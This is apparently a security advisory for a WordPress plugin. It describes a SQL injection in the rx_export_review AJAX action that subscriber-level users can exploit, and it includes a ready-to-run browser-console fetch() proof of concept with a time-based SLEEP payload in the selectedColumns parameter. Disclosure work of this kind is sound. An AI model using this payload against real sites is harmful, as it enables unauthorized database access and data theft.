The plugin does not properly sanitise and escape the filterValue and selectedColumns parameters before using them in SQL statements via the rx_export_review AJAX action available to any authenticated users, leading to a SQL injection exploitable by users with a role as low as subscriber
Run the below command in the developer console of the web browser while being on the blog as subscriber user
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": 'action=rx_export_review&filterValue[6]=&filterValue[7]=id&selectedColumns[]=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)',
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));